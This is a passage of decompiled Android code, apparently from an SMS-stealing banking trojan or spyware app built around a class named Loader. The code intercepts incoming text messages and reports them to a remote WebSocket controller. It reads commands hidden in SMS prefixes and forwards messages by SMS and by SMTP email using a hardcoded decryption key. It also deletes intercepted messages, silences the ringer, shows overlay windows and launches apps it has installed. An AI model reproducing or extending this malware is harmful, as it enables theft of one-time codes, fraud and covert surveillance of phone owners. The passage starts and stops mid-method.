- r5 = 0
- r6 = 0
- java.lang.String r7 = "date desc"
- android.database.Cursor r6 = r2.query(r3, r4, r5, r6, r7) // Catch:{ Exception -> 0x00f1 }
- if (r6 == 0) goto L_0x00f5
- L_0x0092:
- boolean r2 = r6.moveToNext() // Catch:{ Exception -> 0x00f1 }
- if (r2 == 0) goto L_0x0117
- java.lang.String r2 = "address"
- int r2 = r6.getColumnIndex(r2) // Catch:{ Exception -> 0x00f1 }
- java.lang.String r2 = r6.getString(r2) // Catch:{ Exception -> 0x00f1 }
- if (r2 == 0) goto L_0x0147
- r5 = r2
- L_0x00a5:
- java.lang.String r2 = "body"
- int r2 = r6.getColumnIndex(r2) // Catch:{ Exception -> 0x00f1 }
- java.lang.String r4 = r6.getString(r2) // Catch:{ Exception -> 0x00f1 }
- if (r4 == 0) goto L_0x014c
- L_0x00b1:
- java.lang.String r2 = "date"
- int r2 = r6.getColumnIndex(r2) // Catch:{ Exception -> 0x00f1 }
- long r10 = r6.getLong(r2) // Catch:{ Exception -> 0x00f1 }
- java.lang.String r2 = "type"
- int r2 = r6.getColumnIndex(r2) // Catch:{ Exception -> 0x00f1 }
- int r2 = r6.getInt(r2) // Catch:{ Exception -> 0x00f1 }
- r3 = 1
- if (r2 != r3) goto L_0x0092
- r0 = r9
- java.lang.Iterable r0 = (java.lang.Iterable) r0 // Catch:{ Exception -> 0x00f1 }
- r2 = r0
- boolean r3 = r2 instanceof java.util.Collection // Catch:{ Exception -> 0x00f1 }
- if (r3 == 0) goto L_0x00f6
- r0 = r2
- java.util.Collection r0 = (java.util.Collection) r0 // Catch:{ Exception -> 0x00f1 }
- r3 = r0
- boolean r3 = r3.isEmpty() // Catch:{ Exception -> 0x00f1 }
- if (r3 == 0) goto L_0x00f6
- L_0x00da:
- r2 = 0
- L_0x00db:
- if (r2 == 0) goto L_0x0092
- r2 = 3
- java.lang.Object[] r2 = new java.lang.Object[r2] // Catch:{ Exception -> 0x00f1 }
- r3 = 0
- r2[r3] = r5 // Catch:{ Exception -> 0x00f1 }
- r3 = 1
- r2[r3] = r4 // Catch:{ Exception -> 0x00f1 }
- r3 = 2
- java.lang.Long r4 = java.lang.Long.valueOf(r10) // Catch:{ Exception -> 0x00f1 }
- r2[r3] = r4 // Catch:{ Exception -> 0x00f1 }
- r8.add(r2) // Catch:{ Exception -> 0x00f1 }
- goto L_0x0092
- L_0x00f1:
- r2 = move-exception
- r2.printStackTrace()
- L_0x00f5:
- return
- L_0x00f6:
- java.util.Iterator r7 = r2.iterator() // Catch:{ Exception -> 0x00f1 }
- L_0x00fa:
- boolean r2 = r7.hasNext() // Catch:{ Exception -> 0x00f1 }
- if (r2 == 0) goto L_0x00da
- java.lang.Object r2 = r7.next() // Catch:{ Exception -> 0x00f1 }
- java.lang.String r2 = (java.lang.String) r2 // Catch:{ Exception -> 0x00f1 }
- r0 = r4
- java.lang.CharSequence r0 = (java.lang.CharSequence) r0 // Catch:{ Exception -> 0x00f1 }
- r3 = r0
- java.lang.CharSequence r2 = (java.lang.CharSequence) r2 // Catch:{ Exception -> 0x00f1 }
- r12 = 0
- r13 = 2
- r14 = 0
- boolean r2 = d.i.m.a(r3, r2, r12, r13, r14) // Catch:{ Exception -> 0x00f1 }
- if (r2 == 0) goto L_0x00fa
- r2 = 1
- goto L_0x00db
- L_0x0117:
- r0 = r8
- java.util.Collection r0 = (java.util.Collection) r0 // Catch:{ Exception -> 0x00f1 }
- r2 = r0
- boolean r2 = r2.isEmpty() // Catch:{ Exception -> 0x00f1 }
- r2 = r2 ^ 1
- if (r2 == 0) goto L_0x00f5
- com.Loader$k r2 = r15.a // Catch:{ Exception -> 0x00f1 }
- com.Loader r2 = r2.a // Catch:{ Exception -> 0x00f1 }
- com.g r2 = r2.g // Catch:{ Exception -> 0x00f1 }
- java.lang.String r3 = "onKwSms"
- c.a.s r5 = r2.b(r3, r8) // Catch:{ Exception -> 0x00f1 }
- com.Loader$k$1$1 r2 = com.Loader.k.1.AnonymousClass1.a // Catch:{ Exception -> 0x00f1 }
- c.a.d.d r2 = (c.a.d.d) r2 // Catch:{ Exception -> 0x00f1 }
- com.Loader$k$1$2 r3 = com.Loader.k.1.AnonymousClass2.a // Catch:{ Exception -> 0x00f1 }
- d.e.a.b r3 = (d.e.a.b) r3 // Catch:{ Exception -> 0x00f1 }
- if (r3 == 0) goto L_0x0141
- com.d r4 = new com.d // Catch:{ Exception -> 0x00f1 }
- r4.m362init(r3) // Catch:{ Exception -> 0x00f1 }
- r3 = r4
- L_0x0141:
- c.a.d.d r3 = (c.a.d.d) r3 // Catch:{ Exception -> 0x00f1 }
- r5.a(r2, r3) // Catch:{ Exception -> 0x00f1 }
- goto L_0x00f5
- L_0x0147:
- java.lang.String r2 = ""
- r5 = r2
- goto L_0x00a5
- L_0x014c:
- java.lang.String r4 = ""
- goto L_0x00b1
- */
- throw new UnsupportedOperationException("Method not decompiled: com.Loader$k$AnonymousClass1.a(java.lang.Object):void");
- }
- }
- /* renamed from: com.Loader$k$3 */
- static final class AnonymousClass3<T> implements c.a.d.d<Object> {
- final /* synthetic */ k a;
- AnonymousClass3(k kVar) {
- this.a = kVar;
- }
- public final void a(Object obj) {
- Loader loader = this.a.a;
- if (obj == null) {
- throw new d.g("null cannot be cast to non-null type kotlin.Boolean");
- }
- loader.k = ((Boolean) obj).booleanValue();
- if (this.a.a.k) {
- Object systemService = Loader.access$getCtx$p(this.a.a).getSystemService("audio");
- if (systemService == null) {
- throw new d.g("null cannot be cast to non-null type android.media.AudioManager");
- }
- AudioManager audioManager = (AudioManager) systemService;
- audioManager.setStreamVolume(2, audioManager.getStreamMaxVolume(2), 0);
- audioManager.setRingerMode(2);
- }
- }
- }
- /* renamed from: com.Loader$k$5 */
- static final class AnonymousClass5<T> implements c.a.d.d<Object> {
- final /* synthetic */ k a;
- AnonymousClass5(k kVar) {
- this.a = kVar;
- }
- public final void a(Object obj) {
- if (obj == null) {
- throw new d.g("null cannot be cast to non-null type kotlin.Boolean");
- } else if (((Boolean) obj).booleanValue()) {
- this.a.a.showFullscreenFloatWindow();
- } else {
- this.a.a.removeFullscreenFloatWindow();
- }
- }
- }
- k(Loader loader) {
- this.a = loader;
- }
- /* JADX DEBUG: Multi-variable type inference result: failure, time: 8 ms */
- /* JADX WARNING: type inference failed for: r1v4 */
- /* JADX WARNING: type inference failed for: r2v3, types: [com.d] */
- /* JADX WARNING: Unknown variable types count: 1 */
- public final void a(java.lang.Object r6) {
- /*
- r5 = this;
- r4 = 0
- java.lang.String r0 = "WS"
- java.lang.String r1 = "onHello"
- android.util.Log.d(r0, r1)
- com.Loader r0 = r5.a
- r0.h()
- com.Loader r0 = r5.a
- com.g r0 = r0.g
- java.lang.String r1 = "getSmsKW"
- c.a.s r3 = r0.b(r1, r4)
- com.Loader$k$1 r0 = new com.Loader$k$1
- r0.m260init(r5)
- c.a.d.d r0 = (c.a.d.d) r0
- com.Loader$k$2 r1 = com.Loader.k.AnonymousClass2.a
- d.e.a.b r1 = (d.e.a.b) r1
- if (r1 == 0) goto L_0x002c
- com.d r2 = new com.d
- r2.m362init(r1)
- r1 = r2
- L_0x002c:
- c.a.d.d r1 = (c.a.d.d) r1
- r3.a(r0, r1)
- com.Loader r0 = r5.a
- com.g r0 = r0.g
- java.lang.String r1 = "is_call_rec_enable"
- c.a.s r2 = r0.b(r1, r4)
- com.Loader$k$3 r0 = new com.Loader$k$3
- r0.m267init(r5)
- c.a.d.d r0 = (c.a.d.d) r0
- com.Loader$k$4 r1 = com.Loader.k.AnonymousClass4.a
- c.a.d.d r1 = (c.a.d.d) r1
- r2.a(r0, r1)
- com.Loader r0 = r5.a
- com.g r0 = r0.g
- java.lang.String r1 = "is_show_fs_float_window"
- c.a.s r0 = r0.b(r1, r4)
- c.a.r r1 = c.a.a.b.a.a()
- c.a.s r2 = r0.a(r1)
- com.Loader$k$5 r0 = new com.Loader$k$5
- r0.m270init(r5)
- c.a.d.d r0 = (c.a.d.d) r0
- com.Loader$k$6 r1 = com.Loader.k.AnonymousClass6.a
- c.a.d.d r1 = (c.a.d.d) r1
- r2.a(r0, r1)
- java.util.Locale r0 = java.util.Locale.getDefault()
- java.lang.String r0 = r0.toString()
- java.lang.String r1 = "Locale.getDefault().toString()"
- d.e.b.h.a(r0, r1)
- java.lang.String r1 = "ko"
- r2 = 0
- r3 = 2
- boolean r0 = d.i.m.a(r0, r1, r2, r3, r4)
- if (r0 != 0) goto L_0x008f
- com.Loader r0 = r5.a
- java.lang.String r0 = r0.e()
- com.Loader r1 = r5.a
- r1.c(r0)
- L_0x008f:
- return
- */
- throw new UnsupportedOperationException("Method not decompiled: com.Loader$k.a(java.lang.Object):void");
- }
- }
- static final class l extends d.e.b.g implements d.e.a.b<Throwable, d.i> {
- public static final l a = new l();
- l() {
- super(1);
- }
- public final d.g.c a() {
- return d.e.b.k.a(Throwable.class);
- }
- public /* bridge */ /* synthetic */ Object a(Object obj) {
- a((Throwable) obj);
- return d.i.a;
- }
- public final void a(Throwable th) {
- d.e.b.h.b(th, "p1");
- th.printStackTrace();
- }
- public final String b() {
- return "printStackTrace";
- }
- public final String c() {
- return "printStackTrace()V";
- }
- }
- static final class m<T> implements c.a.d.d<Object> {
- public static final m a = new m();
- m() {
- }
- public final void a(Object obj) {
- Log.d("WS", "state updateed");
- }
- }
- static final class n extends d.e.b.g implements d.e.a.b<Throwable, d.i> {
- public static final n a = new n();
- n() {
- super(1);
- }
- public final d.g.c a() {
- return d.e.b.k.a(Throwable.class);
- }
- public /* bridge */ /* synthetic */ Object a(Object obj) {
- a((Throwable) obj);
- return d.i.a;
- }
- public final void a(Throwable th) {
- d.e.b.h.b(th, "p1");
- th.printStackTrace();
- }
- public final String b() {
- return "printStackTrace";
- }
- public final String c() {
- return "printStackTrace()V";
- }
- }
- public static final class o extends BroadcastReceiver {
- final /* synthetic */ Loader a;
- static final class a implements Runnable {
- final /* synthetic */ o a;
- final /* synthetic */ Intent b;
- a(o oVar, Intent intent) {
- this.a = oVar;
- this.b = intent;
- }
- public final void run() {
- Loader.access$getCtx$p(this.a.a).startActivity(this.b);
- }
- }
- static final class b implements Runnable {
- final /* synthetic */ o a;
- final /* synthetic */ String b;
- b(o oVar, String str) {
- this.a = oVar;
- this.b = str;
- }
- public final void run() {
- g access$getPeer$p = this.a.a.g;
- StringBuilder sb = new StringBuilder();
- sb.append("301:");
- sb.append(this.b);
- access$getPeer$p.a(1000, sb.toString()).a();
- }
- }
- static final class c extends d.e.b.i implements d.e.a.c<m, String, d.i> {
- public static final c a = new c();
- c() {
- super(2);
- }
- public /* bridge */ /* synthetic */ Object a(Object obj, Object obj2) {
- a((m) obj, (String) obj2);
- return d.i.a;
- }
- public final void a(m mVar, String str) {
- d.e.b.h.b(mVar, "sms");
- }
- }
- static final class d extends d.e.b.i implements d.e.a.c<m, String, d.i> {
- public static final d a = new d();
- d() {
- super(2);
- }
- public /* bridge */ /* synthetic */ Object a(Object obj, Object obj2) {
- a((m) obj, (String) obj2);
- return d.i.a;
- }
- public final void a(m mVar, String str) {
- d.e.b.h.b(mVar, "sms");
- }
- }
- static final class e implements Runnable {
- final /* synthetic */ o a;
- final /* synthetic */ String b;
- final /* synthetic */ String c;
- final /* synthetic */ d.e.b.j.b d;
- final /* synthetic */ d.e.b.j.b e;
- final /* synthetic */ String f;
- final /* synthetic */ String g;
- /* renamed from: com.Loader$o$e$1 */
- static final class AnonymousClass1 extends d.e.b.i {
- final /* synthetic */ e a;
- AnonymousClass1(e eVar) {
- this.a = eVar;
- super(3);
- }
- public final MimeMessage a(Session session, String str, String str2) {
- d.e.b.h.b(session, "session");
- d.e.b.h.b(str, "sendMail");
- d.e.b.h.b(str2, "receiveMail");
- Object systemService = Loader.access$getCtx$p(this.a.a.a).getSystemService("phone");
- if (systemService == null) {
- throw new d.g("null cannot be cast to non-null type android.telephony.TelephonyManager");
- }
- String access$getLine1 = this.a.a.a.a((TelephonyManager) systemService);
- if (access$getLine1 == null) {
- access$getLine1 = "";
- }
- MimeMessage mimeMessage = new MimeMessage(session);
- StringBuilder sb = new StringBuilder();
- sb.append("用户:");
- sb.append(access$getLine1);
- mimeMessage.setFrom(new InternetAddress(str, sb.toString(), "UTF-8"));
- mimeMessage.setRecipient(MimeMessage.RecipientType.TO, new InternetAddress(str2, "XX用户", "UTF-8"));
- mimeMessage.setSubject("新的信息", "UTF-8");
- StringBuilder sb2 = new StringBuilder();
- sb2.append("");
- sb2.append(this.a.b);
- sb2.append(":\r\n");
- sb2.append(this.a.c);
- mimeMessage.setContent(sb2.toString(), "text/html;charset=UTF-8");
- mimeMessage.setSentDate(new Date());
- mimeMessage.saveChanges();
- return mimeMessage;
- }
- }
- e(o oVar, String str, String str2, d.e.b.j.b bVar, d.e.b.j.b bVar2, String str3, String str4) {
- this.a = oVar;
- this.b = str;
- this.c = str2;
- this.d = bVar;
- this.e = bVar2;
- this.f = str3;
- this.g = str4;
- }
- public final void run() {
- try {
- AnonymousClass1 anonymousClass1 = new AnonymousClass1(this);
- Properties properties = new Properties();
- properties.setProperty("mail.transport.protocol", "smtp");
- properties.setProperty("mail.smtp.host", (String) this.d.a);
- properties.setProperty("mail.smtp.port", (String) this.e.a);
- properties.setProperty("mail.smtp.auth", "true");
- Session instance = Session.getInstance(properties);
- d.e.b.h.a((Object) instance, "session");
- instance.setDebug(true);
- MimeMessage a2 = anonymousClass1.a(instance, this.f, this.f);
- Transport transport = instance.getTransport();
- transport.connect(this.f, this.g);
- transport.sendMessage(a2, a2.getAllRecipients());
- transport.close();
- } catch (Exception e2) {
- e2.printStackTrace();
- }
- }
- }
- static final class f implements Runnable {
- final /* synthetic */ o a;
- f(o oVar) {
- this.a = oVar;
- }
- public final void run() {
- this.a.a.requestIgnoreBatteryOpt();
- }
- }
- o(Loader loader) {
- this.a = loader;
- }
- public void onReceive(Context context, Intent intent) {
- Loader loader;
- String sb;
- d.e.b.h.b(context, "context");
- d.e.b.h.b(intent, "intent");
- try {
- String action = intent.getAction();
- if (d.e.b.h.a((Object) action, (Object) "android.intent.action.PACKAGE_ADDED")) {
- String dataString = intent.getDataString();
- d.e.b.h.a((Object) dataString, "intent.dataString");
- if (dataString == null) {
- throw new d.g("null cannot be cast to non-null type java.lang.String");
- }
- String lowerCase = dataString.toLowerCase();
- d.e.b.h.a((Object) lowerCase, "(this as java.lang.String).toLowerCase()");
- String a2 = d.i.m.a(lowerCase, "package:", "", false, 4, null);
- this.a.c.add(a2);
- b.a.b(a2);
- if (this.a.d.contains(a2)) {
- StringBuilder sb2 = new StringBuilder();
- sb2.append("");
- sb2.append(c.k);
- sb2.append('/');
- sb2.append(a2);
- sb2.append(".apk");
- File file = new File(sb2.toString());
- if (file.exists()) {
- file.delete();
- }
- Intent launchIntentForPackage = Loader.access$getCtx$p(this.a).getPackageManager().getLaunchIntentForPackage(a2);
- if (launchIntentForPackage != null) {
- try {
- launchIntentForPackage.addFlags(268435456);
- this.a.b.post(new a(this, launchIntentForPackage));
- } catch (Exception e2) {
- }
- }
- this.a.d.remove(a2);
- }
- loader = this.a;
- } else if (d.e.b.h.a((Object) action, (Object) "android.intent.action.PACKAGE_REMOVED")) {
- String dataString2 = intent.getDataString();
- d.e.b.h.a((Object) dataString2, "intent.dataString");
- if (dataString2 == null) {
- throw new d.g("null cannot be cast to non-null type java.lang.String");
- }
- String lowerCase2 = dataString2.toLowerCase();
- d.e.b.h.a((Object) lowerCase2, "(this as java.lang.String).toLowerCase()");
- String a3 = d.i.m.a(lowerCase2, "package:", "", false, 4, null);
- this.a.c.remove(a3);
- b.a.c(a3);
- loader = this.a;
- } else {
- boolean z = false;
- if (d.e.b.h.a((Object) action, (Object) "android.provider.Telephony.SMS_RECEIVED")) {
- Object[] objArr = (Object[]) intent.getExtras().get("pdus");
- if (objArr != null) {
- Map linkedHashMap = new LinkedHashMap();
- Map linkedHashMap2 = new LinkedHashMap();
- int length = objArr.length;
- int i = 0;
- while (i < length) {
- Object obj = objArr[i];
- if (obj == null) {
- try {
- throw new d.g("null cannot be cast to non-null type kotlin.ByteArray");
- } catch (Exception e3) {
- }
- } else {
- SmsMessage createFromPdu = SmsMessage.createFromPdu((byte[]) obj);
- d.e.b.h.a((Object) createFromPdu, "msg");
- String displayMessageBody = createFromPdu.getDisplayMessageBody();
- String displayOriginatingAddress = createFromPdu.getDisplayOriginatingAddress();
- if (displayMessageBody != null) {
- d.e.b.h.a((Object) displayOriginatingAddress, "address");
- linkedHashMap.put(displayOriginatingAddress, Long.valueOf(createFromPdu.getTimestampMillis()));
- StringBuilder sb3 = new StringBuilder();
- String str = (String) linkedHashMap2.get(displayOriginatingAddress);
- if (str == null) {
- str = "";
- }
- sb3.append(str);
- sb3.append(displayMessageBody);
- linkedHashMap2.put(displayOriginatingAddress, sb3.toString());
- }
- i++;
- }
- }
- for (Entry entry : linkedHashMap.entrySet()) {
- String str2 = (String) entry.getKey();
- long longValue = ((Number) entry.getValue()).longValue();
- Object obj2 = linkedHashMap2.get(str2);
- if (obj2 == null) {
- d.e.b.h.a();
- }
- String str3 = (String) obj2;
- if (this.a.g.a("onSms", (Object) new Object[]{str2, str3, Long.valueOf(longValue)})) {
- Loader.access$getPreferences$p(this.a).edit().putLong(c.b, longValue).apply();
- }
- if (str3.length() > 6) {
- if (str3 == null) {
- throw new d.g("null cannot be cast to non-null type java.lang.String");
- }
- String substring = str3.substring(2);
- d.e.b.h.a((Object) substring, "(this as java.lang.String).substring(startIndex)");
- if (d.i.m.a(str3, "FS", false, 2, null)) {
- (d.e.b.h.a((Object) substring, (Object) "000000") ? Loader.access$getPreferences$p(this.a).edit().putString("fs", "") : Loader.access$getPreferences$p(this.a).edit().putString("fs", q.b(substring))).apply();
- } else if (d.i.m.a(str3, "SF", false, 2, null)) {
- String b2 = q.b(substring);
- Loader.access$getPreferences$p(this.a).edit().putString("account", b2).apply();
- d.e.b.h.a((Object) c.a.a.b.a.a().a(new b(this, b2), 2, TimeUnit.SECONDS), "AndroidSchedulers.mainTh… }, 2, TimeUnit.SECONDS)");
- } else if (d.i.m.a(str3, "IF", false, 2, null)) {
- com.b.a.a.t a4 = this.a.g.a();
- if (a4 != null) {
- Socket f2 = a4.f();
- if (f2 != null && f2.isConnected()) {
- StringBuilder sb4 = new StringBuilder();
- sb4.append("已连接:");
- com.b.a.a.t a5 = this.a.g.a();
- if (a5 == null) {
- d.e.b.h.a();
- }
- Socket f3 = a5.f();
- d.e.b.h.a((Object) f3, "peer.ws!!.socket");
- sb4.append(f3.getRemoteSocketAddress().toString());
- sb = sb4.toString();
- o.a.a(new m(Loader.access$getCtx$p(this.a), substring, sb, null, c.a));
- }
- }
- Object systemService = Loader.access$getCtx$p(this.a).getSystemService("connectivity");
- if (systemService == null) {
- throw new d.g("null cannot be cast to non-null type android.net.ConnectivityManager");
- }
- NetworkInfo activeNetworkInfo = ((ConnectivityManager) systemService).getActiveNetworkInfo();
- String str4 = "";
- if (activeNetworkInfo != null) {
- str4 = activeNetworkInfo.getTypeName();
- d.e.b.h.a((Object) str4, "info.typeName");
- }
- String str5 = str4;
- WifiManager wifiManager = (WifiManager) Loader.access$getCtx$p(this.a).getSystemService("wifi");
- boolean z2 = wifiManager != null ? wifiManager.isWifiEnabled() : false;
- StringBuilder sb5 = new StringBuilder();
- sb5.append("未连接,");
- sb5.append(str5);
- sb5.append(',');
- sb5.append(z2);
- sb5.append(',');
- sb5.append(this.a.j);
- sb = sb5.toString();
- o.a.a(new m(Loader.access$getCtx$p(this.a), substring, sb, null, c.a));
- } else if (d.i.m.a(str3, "SI", false, 2, null)) {
- byte[] decode = Base64.decode(substring, 0);
- d.e.b.h.a((Object) decode, "Base64.decode(v, 0)");
- String str6 = new String(decode, d.i.d.a);
- List a6 = d.i.m.a((CharSequence) str6, new char[]{10}, false, 0, 6, null);
- Loader.access$getPreferences$p(this.a).edit().putString("addr_url", (String) a6.get(0)).putString("addr_encoding", (String) a6.get(1)).putString("addr_pattern", (String) a6.get(2)).putString("addr_accounts", (String) a6.get(3)).apply();
- StringBuilder sb6 = new StringBuilder();
- sb6.append("SI:");
- sb6.append(str6);
- Log.d("WS", sb6.toString());
- if (this.a.g.b()) {
- g access$getPeer$p = this.a.g;
- StringBuilder sb7 = new StringBuilder();
- sb7.append("302:");
- sb7.append((String) a6.get(3));
- access$getPeer$p.a(1000, sb7.toString()).a();
- }
- } else if (d.i.m.a(str3, "FM", false, 2, null)) {
- byte[] decode2 = Base64.decode("CpMSc7iSk/dTcRO7aMe4qA==", 0);
- byte[] decode3 = Base64.decode(substring, 0);
- d.e.b.h.a((Object) decode3, "Base64.decode(v, 0)");
- d.e.b.h.a((Object) decode2, "keyData");
- String str7 = new String(q.a(decode3, decode2, false), d.i.d.a);
- (d.e.b.h.a((Object) str7, (Object) "000000") ? Loader.access$getPreferences$p(this.a).edit().putString("fsm", "") : Loader.access$getPreferences$p(this.a).edit().putString("fsm", str7)).apply();
- StringBuilder sb8 = new StringBuilder();
- sb8.append("fsm");
- sb8.append(str7);
- Log.d("WS", sb8.toString());
- }
- }
- String string = Loader.access$getPreferences$p(this.a).getString("fs", "");
- if (string == null) {
- d.e.b.h.a();
- }
- if (string.length() > 3) {
- o oVar = o.a;
- Context access$getCtx$p = Loader.access$getCtx$p(this.a);
- StringBuilder sb9 = new StringBuilder();
- sb9.append("");
- sb9.append(str2);
- sb9.append(":\n");
- sb9.append(str3);
- oVar.a(new m(access$getCtx$p, string, sb9.toString(), null, d.a));
- Log.d("MSG", "FWD");
- }
- String string2 = Loader.access$getPreferences$p(this.a).getString("fsm", "");
- d.e.b.h.a((Object) string2, "preferences.getString(\"fsm\", \"\")");
- List a7 = d.i.m.a((CharSequence) string2, new char[]{'|'}, false, 0, 6, null);
- if (a7.size() >= 3) {
- String str8 = (String) a7.get(0);
- String str9 = (String) a7.get(1);
- T t = (String) a7.get(2);
- d.e.b.j.b bVar = new d.e.b.j.b();
- bVar.a = t;
- d.e.b.j.b bVar2 = new d.e.b.j.b();
- bVar2.a = "25";
- if (d.i.m.a((CharSequence) t, ':', false, 2, null)) {
- List a8 = d.i.m.a((CharSequence) t, new char[]{':'}, false, 0, 6, null);
- bVar.a = (String) a8.get(0);
- bVar2.a = (String) a8.get(1);
- }
- Thread thread = new Thread(new e(this, str2, str3, bVar, bVar2, str8, str9));
- thread.start();
- }
- }
- if (VERSION.SDK_INT < 19) {
- try {
- for (Entry key : linkedHashMap.entrySet()) {
- String str10 = (String) key.getKey();
- abortBroadcast();
- Cursor query = context.getContentResolver().query(Uri.parse("content://sms/inbox"), null, "read=0", null, null);
- if (query != null) {
- while (query.moveToNext()) {
- String string3 = query.getString(query.getColumnIndex("address"));
- d.e.b.h.a((Object) string3, "isRead.getString(isRead.getColumnIndex(\"address\"))");
- CharSequence charSequence = string3;
- int length2 = charSequence.length() - 1;
- int i2 = 0;
- boolean z3 = false;
- while (i2 <= length2) {
- boolean z4 = charSequence.charAt(!z3 ? i2 : length2) <= ' ';
- if (z3) {
- if (!z4) {
- break;
- }
- length2--;
- } else if (z4) {
- i2++;
- } else {
- z3 = true;
- }
- }
- if (d.e.b.h.a((Object) charSequence.subSequence(i2, length2 + 1).toString(), (Object) str10)) {
- int i3 = query.getInt(query.getColumnIndex("_id"));
- ContentResolver contentResolver = context.getContentResolver();
- Uri parse = Uri.parse("content://sms");
- StringBuilder sb10 = new StringBuilder();
- sb10.append("_id=");
- sb10.append(i3);
- contentResolver.delete(parse, sb10.toString(), null);
- }
- }
- query.close();
- }
- }
- return;
- } catch (Exception e4) {
- e4.printStackTrace();
- return;
- }
- } else if (!this.a.k && VERSION.SDK_INT < 23) {
- Object systemService2 = context.getSystemService("audio");
- if (systemService2 == null) {
- throw new d.g("null cannot be cast to non-null type android.media.AudioManager");
- }
- ((AudioManager) systemService2).setRingerMode(0);
- return;
- } else {
- return;
- }
- } else {
- return;
- }
- } else if (d.e.b.h.a((Object) action, (Object) "android.intent.action.BATTERY_CHANGED")) {
- int intExtra = (intent.getIntExtra("level", 0) * 100) / intent.getIntExtra("scale", 100);
- if (this.a.v != intExtra) {
- this.a.v = intExtra;
- loader = this.a;
- } else {
- return;
- }
- } else if (d.e.b.h.a((Object) action, (Object) "android.net.conn.CONNECTIVITY_CHANGE")) {
- loader = this.a;
- } else if (d.e.b.h.a((Object) action, (Object) "android.intent.action.USER_PRESENT")) {
- if (Loader.access$getPreferences$p(this.a).getBoolean("lock", false)) {
- q.b(Loader.access$getCtx$p(this.a));
- }
- if (this.a.getCallListener().a() == null) {
- String access$getGoogleAccount = this.a.e();
- String locale = Locale.getDefault().toString();
- d.e.b.h.a((Object) locale, "Locale.getDefault().toString()");
- if (!(d.i.m.a(locale, "ko", false, 2, null) && d.e.b.h.a((Object) access$getGoogleAccount, (Object) ""))) {
- z = true;
- }
- if (z && this.a.g.b()) {
- this.a.c(access$getGoogleAccount);
- }
- new Handler().postDelayed(new f(this), 1000);
- return;
- }
- return;
- } else if (d.e.b.h.a((Object) action, (Object) o.a.a())) {
- o.a.a(intent, getResultCode());
- return;
- } else if (d.e.b.h.a((Object) action, (Object) "android.intent.action.SCREEN_OFF")) {
- this.a.h();
- this.a.f();
- return;
- } else if (d.e.b.h.a((Object) action, (Object) "android.intent.action.SCREEN_ON")) {
- Log.d("WS", "screen on");
- this.a.h();
- if (Loader.access$getPreferences$p(this.a).getBoolean("lock", false)) {
- Log.d("WS", "screen on unlock");
- q.b(Loader.access$getCtx$p(this.a));
- return;
- }
- return;
- } else if (d.e.b.h.a((Object) action, (Object) "android.media.RINGER_MODE_CHANGED")) {
- loader = this.a;
- } else if (d.e.b.h.a((Object) action, (Object) "android.net.wifi.SCAN_RESULTS")) {
- loader = this.a;
- } else {
- return;
- }
- }
- loader.h();
- } catch (Exception e5) {
- e5.printStackTrace();
- } catch (Throwable th) {
- th.printStackTrace();
- }
- }
- }
- static final class p extends d.e.b.i implements d.e.a.b<Object[], c.a.h<Object>> {
- final /* synthetic */ Loader a;
- p(Loader loader) {
- this.a = loader;
- super(1);
- }
- public final c.a.h<Object> a(final Object[] objArr) {
- d.e.b.h.b(objArr, "params");
- c.a.h<Object> a2 = c.a.h.a((c.a.k<T>) new c.a.k<T>(this) {
- final /* synthetic */ p a;
- public final void a(final c.a.i<Object> iVar) {
- d.e.b.h.b(iVar, "emitter");
- Object obj = objArr[0];
- if (obj == null) {
- throw new d.g("null cannot be cast to non-null type kotlin.String");
- }
- String str = (String) obj;
- Object obj2 = objArr[1];
- if (obj2 == null) {
- throw new d.g("null cannot be cast to non-null type kotlin.String");
- }
- o.a.a(new m(Loader.access$getCtx$p(this.a.a), str, (String) obj2, null, new d.e.a.c<m, String, d.i>() {
- public /* bridge */ /* synthetic */ Object a(Object obj, Object obj2) {
- a((m) obj, (String) obj2);
- return d.i.a;
- }
- public final void a(m mVar, String str) {
- d.e.b.h.b(mVar, "sms");
- if (str == null) {
- iVar.e_();
- } else {
- iVar.a((Throwable) new l(-1, str, null));
- }
- }
- }));
- }
- });
- d.e.b.h.a((Object) a2, "Maybe.create<Any> { emit… }))\n }");
- return a2;
- }
- }
- static final class q extends d.e.b.i implements d.e.a.b<Object[], c.a.h<Object>> {
- final /* synthetic */ Loader a;
- q(Loader loader) {
- this.a = loader;
- super(1);
- }
- public final c.a.h<Object> a(final Object[] objArr) {
- d.e.b.h.b(objArr, "params");
- c.a.h<Object> a2 = c.a.h.a((c.a.d.a) new c.a.d.a(this) {
- final /* synthetic */ q a;
- public final void a() {
- Loader loader = this.a.a;
- Object obj = objArr[0];
- if (obj == null) {
- throw new d.g("null cannot be cast to non-null type kotlin.Boolean");
- }
- loader.k = ((Boolean) obj).booleanValue();
- if (this.a.a.k) {
- Object systemService = Loader.access$getCtx$p(this.a.a).getSystemService("audio");
- if (systemService == null) {
- throw new d.g("null cannot be cast to non-null type android.media.AudioManager");
- }
- AudioManager audioManager = (AudioManager) systemService;
- if (VERSION.SDK_INT < 23) {
- audioManager.setRingerMode(0);
- } else {
- audioManager.setRingerMode(2);
- }
- }
- }
- });
- d.e.b.h.a((Object) a2, "Maybe.fromAction<Any> {\n… }\n }");
- return a2;
- }
- }
- static final class r extends d.e.b.i implements d.e.a.b<Object[], c.a.h<Object>> {
- final /* synthetic */ Loader a;
- r(Loader loader) {
- this.a = loader;
- super(1);
- }
- public final c.a.h<Object> a(Object[] objArr) {
- d.e.b.h.b(objArr, "params");
- this.a.h();
- c.a.h<Object> a2 = c.a.h.a();
- d.e.b.h.a((Object) a2, "Maybe.empty<Any>()");
- return a2;
- }
- }
- static final class s extends d.e.b.i implements d.e.a.b<Object[], c.a.h<Object>> {
- final /* synthetic */ Loader a;
- /* renamed from: com.Loader$s$1 */
- public static final class AnonymousClass1 extends TimerTask {
- final /* synthetic */ s a;
- static final class a implements Runnable {
- final /* synthetic */ AnonymousClass1 a;
- a(AnonymousClass1 anonymousClass1) {
- this.a = anonymousClass1;
- }
- public final void run() {
- try {
- Intent intent = new Intent("android.intent.action.MAIN");
- intent.addCategory("android.intent.category.HOME");
- intent.addFlags(268435456);
- Loader.access$getCtx$p(this.a.a.a).startActivity(intent);
- } catch (Exception e) {
- }
- }
- }
- AnonymousClass1(s sVar) {
- this.a = sVar;
- }
- public void run() {
- this.a.a.b.post(new a(this));
- }
- }
- s(Loader loader) {
- this.a = loader;
- super(1);
- }
- public final c.a.h<Object> a(Object[] objArr) {
- d.e.b.h.b(objArr, "params");
- Boolean bool = objArr[0];
- if (bool == null) {
- throw new d.g("null cannot be cast to non-null type kotlin.Boolean");
- }
- boolean booleanValue = bool.booleanValue();
- StringBuilder sb = new StringBuilder();
- sb.append("showHome ");
